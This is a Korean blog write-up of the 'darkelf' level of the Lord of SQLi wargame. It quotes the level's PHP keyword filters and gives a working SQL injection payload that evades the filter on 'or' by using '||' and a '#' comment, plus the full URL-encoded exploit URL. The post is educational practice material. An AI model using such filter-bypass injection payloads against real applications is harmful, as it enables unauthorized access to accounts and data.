🏆 2024

맛집 분야 크리에이터

🏆 2023

IT 분야 크리에이터

👩‍❤️‍👨 구독자 수

183

✒️ 게시글 수

0
https://tistory1.daumcdn.net/tistory/4631271/skin/images/blank.png 네이버블로그

🩷 방문자 추이

오늘

어제

전체

🏆 인기글 순위

티스토리 뷰

보안/Wargame

[Lord of SQLi] darkelf Writeup/문제 풀이

알 수 없는 사용자 2021. 8. 10. 23:38
728x90
반응형

$_GET[pw]

PHP 소스코드 상으로는 pw를 GET 파라미터로 받는다고 합니다.

 

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

그리고 pw 에 prob라는 단어가 포함되거나, _(언더바), .(온점), ((여는 괄호), )(닫는 괄호) 를 사용하는 것을 금지(필터링)하고 있습니다.

 

if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");

그리고 pw 에 추가로 대소문자 구별없이 or 과 and 문자열 사용도 금지(필터링)하고 있습니다.

 

$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
if($result['id'] == 'admin') solve("darkelf");

query 변수에 GET 파라미터로 전달 받은 pw를 넣고, mysql 에 query를 실행했을 때 결과로부터 id가 admin일 때만 문제가 풀린다고 합니다.

 

해결방법은 간단합니다. 아래와 같이 guest의 pw 가 무엇이던 간에 id가 admin 이기만 하면 되게 만들어주면 됩니다.

select id from prob_darkelf where id='guest' and pw='asdf'||id='admin'#
select id from prob_darkelf where id='guest' and pw='asdf'||id like 'admin'#

그리고 위 where 절의 pw에 뒤에 부분을 URL 인코딩하여 URL에 넣어주면 문제는 해결됩니다.

https://los.rubiya.kr/chall/darkelf_1.php?pw=asdf%27||id=%27admin%27%23

728x90
반응형
댓글